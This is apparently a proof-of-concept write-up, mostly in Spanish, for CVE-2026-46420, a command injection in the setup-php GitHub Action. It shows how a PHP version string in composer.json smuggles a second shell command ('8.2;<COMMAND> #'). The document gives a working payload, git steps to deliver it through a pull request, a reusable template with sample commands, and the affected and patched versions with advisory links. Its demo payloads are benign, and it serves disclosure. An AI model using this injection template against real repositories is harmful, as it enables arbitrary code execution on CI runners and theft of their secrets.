
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
Inyección de comandos en shivammathur/setup-php cuando la versión de PHP se carga desde archivos controlados por el repositorio.
Afecta:
>= 2.25.0, < 2.37.1
Corregido en:
>= 2.37.1
El repositorio objetivo ya tiene un flujo de trabajo vulnerable que descarga el contenido de la solicitud de extracción y ejecuta [email protected].
El atacante solo cambia composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Cuando setup-php lee la versión de PHP desde composer.json, el comando inyectado se incluye en el script de shell generado y se ejecuta.
Resultado:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Crea una rama desde el repositorio objetivo:
git checkout -b poc-test
Reemplaza el composer.json limpio con la versión de la PoC:
cp attacker/composer.json composer.json
Confirma y sube los cambios:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Abre una solicitud de extracción desde poc-test hacia main.
La ejecución de Actions debería mostrar que demo-app/.env.example fue modificado durante el paso de setup-php.
El formato del payload es:
8.2;<COMMAND> #
Payload actual:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
El comando ejecutado es:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Para cambiar lo que hace la PoC, reemplaza el comando entre 8.2; y #.
Crea un archivo:
8.2;touch poc-executed #
Escribe en un archivo:
8.2;printf 'poc executed\n' > poc-result.txt #
Imprime la salida del comando:
8.2;id #
Ejemplo de composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Actualiza a [email protected] o superior.
El mismo payload es rechazado en la versión parcheada.
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b